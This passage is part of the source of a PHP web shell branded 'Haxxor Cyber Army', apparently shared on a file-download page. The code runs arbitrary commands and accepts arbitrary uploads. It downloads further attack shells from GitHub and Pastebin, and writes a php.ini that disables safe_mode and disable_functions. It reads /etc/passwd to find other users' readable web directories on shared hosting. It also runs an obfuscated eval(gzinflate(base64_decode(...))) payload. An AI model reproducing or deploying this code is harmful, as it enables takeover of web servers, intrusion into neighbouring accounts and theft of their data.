  1730.  } } } } } else{ echo "<br><br><font color='springgreen' face='Fredericka The Great'>TOOLS CANNOT BE USED AND -_- THE SERVER IS NOT WINDOWS</font>";
  1731.  }die();
  1732.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'fcrot')) { echo'<center><br><br><h3>File Creator [Auto upload]</h3>
  1733.                                 <table>
  1734.                                 <tr><form method="post" action=""> 
  1735. <td>
  1736.                                 <select class="bordergaya" align="left" name="options" id="select">
  1737.                                 <option value="hsphere">Bypass hSphere Shell</option>
  1738.                                 <option value="adminer">Adminer</option>
  1739.                                 </select>
  1740.                                 <input type="submit" name="submites" class="bordergaya" value="create">
  1741.                                 </td></form></tr></table><br/><br/><br/>';
  1742.  error_reporting(0);
  1743.  set_time_limit(0);
  1744.  $submit = $_POST ['submites'];
  1745.  if(isset($submit)) { $select = $_POST['options'];
  1746.  if ( $select == 'hsphere') { $files = file_get_contents("https://raw.githubusercontent.com/famous0123/Parallels-H-Sphere-Exploiter/master/HSphere.php");
  1747.  file_put_contents("hsphere.php",$files);
  1748.  echo "<script>alert('Bypass hsphere shell created!');
  1749.  hideAll();
  1750. </script>";
  1751.  echo "<a href="."hsphere.php"." target=_blank><b>hsphere.php [Click here]</b></a></center>";
  1752.  die();
  1753.  } elseif ( $select == 'adminer') { getfile("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php","adminer.php");
  1754.  echo "<script>alert('adminer created!');
  1755.  hideAll();
  1756. </script>";
  1757.  echo "<a href="."adminer.php"." target=_blank><b>adminer.php [Click here]</b></a></center>";
  1758.  die();
  1759.  } }die();
  1760.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'korong')) { echo '<center><br /><br />
  1761.                                                 <form enctype="multipart/form-data" method="POST">
  1762.                                                         <input type="file" name="file" id="file" class="inputfile inputfile-4" />
  1763.                                                         <label for="file">
  1764.                                                                 <figure>
  1765.                                                                         <svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" viewBox="0 0 20 17"><path d="M10 0l-5.2 4.9h3.3v5.1h3.8v-5.1h3.3l-5.2-4.9zm9.3 11.5l-3.2-2.1h-2l3.4 2.6h-3.5c-.1 0-.2.1-.2.1l-.8 2.3h-6l-.8-2.2c-.1-.1-.1-.2-.2-.2h-3.6l3.4-2.6h-2l-3.2 2.1c-.4.3-.7 1-.6 1.5l.6 3.1c.1.5.7.9 1.2.9h16.3c.6 0 1.1-.4 1.3-.9l.6-3.1c.1-.5-.2-1.2-.7-1.5z"/></svg>
  1766.                                                                 </figure>
  1767.                                                                 <span>Please Select File</span>
  1768.                                                         </label>';
  1769.  
  1770. ?>
  1771.                                                         <script type="text/javascript">
  1772.                                                                         /*
  1773.                                                                                 By Osvaldas Valutis, www.osvaldas.info
  1774.                                                                                 Available for use under the MIT License
  1775.                                                                         */
  1776.  
  1777.                                                                         'use strict';
  1778.  
  1779.  
  1780.                                                                         ;
  1781. ( function ( document, window, index )
  1782.                                                                         {
  1783.                                                                                 var inputs = document.querySelectorAll( '.inputfile' );
  1784.  
  1785.                                                                                 Array.prototype.forEach.call( inputs, function( input )
  1786.                                                                                 {
  1787.                                                                                         var label       = input.nextElementSibling,
  1788.                                                                                                 labelVal = label.innerHTML;
  1789.  
  1790.  
  1791.                                                                                         input.addEventListener( 'change', function( e )
  1792.                                                                                         {
  1793.                                                                                                 var fileName = '';
  1794.  
  1795.                                                                                                 if( this.files && this.files.length > 1 )
  1796.                                                                                                         fileName = ( this.getAttribute( 'data-multiple-caption' ) || '' ).replace( '{count}', this.files.length );
  1797.  
  1798.                                                                                                 else
  1799.                                                                                                         fileName = e.target.value.split( '\\' ).pop();
  1800.  
  1801.  
  1802.                                                                                                 if( fileName )
  1803.                                                                                                         label.querySelector( 'span' ).innerHTML = fileName;
  1804.  
  1805.                                                                                                 else
  1806.                                                                                                         label.innerHTML = labelVal;
  1807.  
  1808.                                                                                         });
  1809.  
  1810.  
  1811.                                                                                         // Firefox bug fix
  1812.                                                                                         input.addEventListener( 'focus', function(){ input.classList.add( 'has-focus' );
  1813.  });
  1814.  
  1815.                                                                                         input.addEventListener( 'blur', function(){ input.classList.remove( 'has-focus' );
  1816.  });
  1817.  
  1818.                                                                                 });
  1819.  
  1820.                                                                         }( document, window, 0 ));
  1821.  
  1822.                                                         </script>
  1823.                                                        
  1824. <?php echo'<br/>
  1825.                                                         <input type="submit" class="tombolupil" value="Upload File!" />
  1826.                                                 </form>';
  1827.  if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo '<script>alert("File Successful!");
  1828. </script>';
  1829.  }else{ echo '<script>alert("File Failed to Upload!");
  1830. </script>';
  1831.  } } echo "</center><br /><br />";
  1832.  die();
  1833.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'cmd')) { echo "<br/><br/><form method='post'>
  1834.                                 <font clss='rapihbanget'>Command :</font>
  1835.                                 <input class='bordergaya' type='text' size='30' height='10' name='cmd'><input type='submit' class='bordergaya' name='execmd' value=' Execute '>
  1836.                                 </form>";
  1837.  if($_POST['execmd']) { echo "<pre>".exe($_POST['cmd'])."</pre>";
  1838.  } } elseif(isset($_GET['x']) && ($_GET['x'] == 'bypstuls')) { echo "<br/><br/>Please Choose the Key<br/><br/>";
  1839.  
  1840. ?>
  1841.                                         <a href="?
  1842. <?php echo "path=".$path;
  1843.  
  1844. ?>&
  1845. x=bysysfuncwsf"><input class=bordergaya type=submit value="Bypass Root Path With System Function" /></a>
  1846.                                         Or <a href="?
  1847. <?php echo "path=".$path;
  1848.  
  1849. ?>&
  1850. x=bypsini"><input class=bordergaya type=submit value="Bypass Disable Functions" /></a>
  1851.                                         Or <a href="?
  1852. <?php echo "path=".$path;
  1853.  
  1854. ?>&
  1855. x=bysysfuncwexec"><input class=bordergaya type=submit value="Bypass Root Path With Exec Function" /></a>
  1856.                                         <br/><br/><br/><br/>
  1857.                                        
  1858. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwsf')) { echo '<br><center><span style="font-size:20px;
  1859.  font-family:Fredericka the Great;
  1860.  color:orange">Bypass Root Path With System Function</span><center>';
  1861.  mkdir('bysyswsf', 0755);
  1862.  chdir('bysyswsf');
  1863.  $bysyswsf = file_get_contents("http://pastebin.com/raw/nUTTPQnm");
  1864.  $file = fopen("bysyswsf.php" ,"w+");
  1865.  $write = fwrite ($file ,$bysyswsf);
  1866.  fclose($file);
  1867.  chmod("bysyswsf.php",0755);
  1868.  echo "<iframe src=bysyswsf/bysyswsf.php width=70% height=70% frameborder=0></iframe>";
  1869.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'bypsini')) { $byht = "safe_mode = Off
  1870.                                         disable_functions = None
  1871.                                         safe_mode_gid = OFF
  1872.                                         open_basedir = OFF
  1873.                                         allow_url_fopen = On";
  1874.  file_put_contents("php.ini",$byht);
  1875.  echo "<script>alert('Congrats ^_^');
  1876.  hideAll();
  1877. </script>";
  1878.  die('<meta http-equiv="refresh" content="0;
  1879.  url=?" />');
  1880.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'bysysfuncwexec')) { echo '<br><center><span style="font-size:20px;
  1881.  font-family:Fredericka the Great;
  1882.  color:orange">Bypass Root Path With Exec Function</span><center>';
  1883.  mkdir('bysyswexecf', 0755);
  1884.  chdir('bysyswexecf');
  1885.  $bysyswsf = file_get_contents("http://pastebin.com/raw/KJiLdADd");
  1886.  $file = fopen("bysyswexecf.php" ,"w+");
  1887.  $write = fwrite ($file ,$bysyswsf);
  1888.  fclose($file);
  1889.  chmod("bysyswexecf.php",0755);
  1890.  echo "<iframe src=bysyswexecf/bysyswexecf.php width=70% height=70% frameborder=0></iframe>";
  1891.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ 
  1892. ?>
  1893.                                 <form action="?path=
  1894. <?php echo $pwd;
  1895.  
  1896. ?>&
  1897. x=jumping" method="post">
  1898.                                
  1899. <?php ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  1900.  set_time_limit(0);
  1901.  @$passwd = fopen('/etc/passwd','r');
  1902.  if (!$passwd) { die('<br>[-] Error : coudn`t read /etc/passwd');
  1903.  } $pub = array();
  1904.  $users = array();
  1905.  $conf = array();
  1906.  $i = 0;
  1907.  while(!feof($passwd)) { $str = fgets($passwd);
  1908.  if ($i > 35) { $pos = strpos($str,':');
  1909.  $username = substr($str,0,$pos);
  1910.  $dirz = '/home/'.$username.'/public_html/';
  1911.  if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username);
  1912.  array_push($pub,$dirz);
  1913.  } } } $i++;
  1914.  } echo '<br><br></center></center>';
  1915.  echo "<font class='rapihbanget'>[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br /></font>";
  1916.  echo "<font class='rapihbanget'>[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /></font>";
  1917.  echo "<font class='rapihbanget'>[~] Searching for passwords in config files...<br /><br /></font>";
  1918.  foreach ($users as $user) { $path = "/home/$user/public_html/";
  1919.  echo "<font class='rapihbanget'><a href='?path=
  1920. $path' target='_blank' font-weight:bold;
  1921.  color:#F80;
  1922. '>$path</a><br></font>";
  1923.  } echo "<br /><font class='rapihbanget'>[+] Complete...\n"."<br /></font>";
  1924.  echo "<font class='rapihbanget'>[+] Power By HCA-TEAM\n"."<br /></font>";
  1925.  echo '<br><br></b></body><center>';
  1926.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'zonesH')){ echo "<br/><br/>";
  1927. @eval(gzinflate(base64_decode($zoneH)));
  1928.  "</div>";
  1929.  } else{ echo '<table><br />';
  1930.  echo "<center>";
  1931.  if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo '<script>alert("Delete Dir Success!");
  1932. </script>';
  1933.  }else{ echo '<script>alert("Delete Dir Failed!");
  1934. </script>';
  1935.  } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo '<script>alert("Delete File Success!");
  1936. </script>';
  1937.  }else{ echo '<script>alert("Delete File Failed!");
  1938. </script>';
  1939.  } } } echo '</center>';
  1940.  $scandir = scandir($path);
  1941.  echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  1942.                         ';
  1943.  foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  1944.  echo "<tr>
  1945.                         <td><a style='color:white;
  1946.  font-family:Homenaje;
  1947. ' href=\"?path=$path/$dir\">$dir</a></td>
  1948.                         <td><center style='color:orange;
  1949.  font-family:Homenaje;
  1950. '>--</center></td>
  1951.                         <td><center>";
  1952.  if(is_writable("$path/$dir")) echo "<font style='color:springgreen;
  1953.  font-family:Homenaje;
  1954. '>";
  1955.  elseif(!is_readable("$path/$dir")) echo "<font style='color:red;
  1956.  font-family:Homenaje;
  1957. '>";
  1958.  echo perms("$path/$dir");
  1959.  if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  1960.  echo "</center></td>
  1961.                         <td width='26%'><center><form method=\"POST\" action=\"?option&path=$path\">
  1962.                         <select class='bordergaya' name=\"opt\">
  1963.                         <option value=\"\"></option>
  1964.                         <option value=\"delete\">Delete</option>
  1965.                         <option value=\"chmod\">Chmod</option>
  1966.                         <option value=\"rename\">Rename</option>
  1967.                         </select>
  1968.                         <input type=\"hidden\" name=\"type\" value=\"dir\">
  1969.                         <input type=\"hidden\" name=\"name\" value=\"$dir\">
  1970.                         <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  1971.                         <input class='bordergaya' type=\"submit\" value=\"Execute\" />
  1972.                         </form></center></td>
  1973.                         </tr>";
  1974.  } echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  1975.  foreach($scandir as $file){ if(!is_file("$path/$file")) continue;
  1976.  $size = filesize("$path/$file")/1024;
  1977.  $size = round($size,3);
  1978.  if($size >= 1024){ $size = round($size/1024,2).' MB';
  1979.  }else{ $size = $size.' KB';
  1980.  } echo "<tr>
  1981.                         <td><a style='color:white;
  1982.  font-family:Homenaje;
  1983. ' href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  1984.                         <td><center style='color:orange;
  1985.  font-family:Homenaje;
  1986. '>".$size."</center></td>
  1987.                         <td><center>";
  1988.  if(is_writable("$path/$file")) echo "<font style='color:springgreen;
  1989.  font-family:Homenaje;
  1990. '>";
  1991.  elseif(!is_readable("$path/$file")) echo "<font style='color:red;
  1992.  font-family:Homenaje;
  1993. '>";
  1994.  echo perms("$path/$file");
  1995.  if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  1996.  echo "</center></td>
  1997.                         <td width='26%'><center><form method=\"POST\" action=\"?option&path=$path\">
  1998.                         <select class='bordergaya' name=\"opt\">
  1999.                         <option value=\"\"></option>
  2000.                         <option value=\"delete\">Delete</option>
  2001.                         <option value=\"chmod\">Chmod</option>
  2002.                         <option value=\"rename\">Rename</option>
  2003.                         <option value=\"edit\">Edit</option>
  2004.                         </select>
  2005.                         <input type=\"hidden\" name=\"type\" value=\"file\">
  2006.                         <input type=\"hidden\" name=\"name\" value=\"$file\">
  2007.                         <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  2008.                         <input class='bordergaya' type=\"submit\" value=\"Execute\" />
  2009.                         </form></center></td>
  2010.                         </tr>";
  2011.  } echo '</table>
  2012.                         </div>';
  2013.  } 
  2014. ?>
  2015. <br/><br/>
  2016. <div id="bawah">
  2017. <script language="JavaScript"> 
  2018.         Year=new Date();
  2019.  
  2020.         var copyright=Year.getUTCFullYear();
  2021.  document.write("<tabel style='padding:3px 6px;
  2022.  border:2px solid #2d2b2b;
  2023.  border-radius:5px;
  2024. '><tr><td><font face='Fredericka the Great' size='3px' color='gray'> ♥
  2025.  Haxxor Cyber Army" + copyright +" ♥
  2026. </font></td></tr></table>");
  2027.  </script>
  2028. </div>
  2029. </BODY></html>
File Description
  • haxxor
  • PHP Code
  • 16 May-2022
  • 81.67 Kb
You can Share it: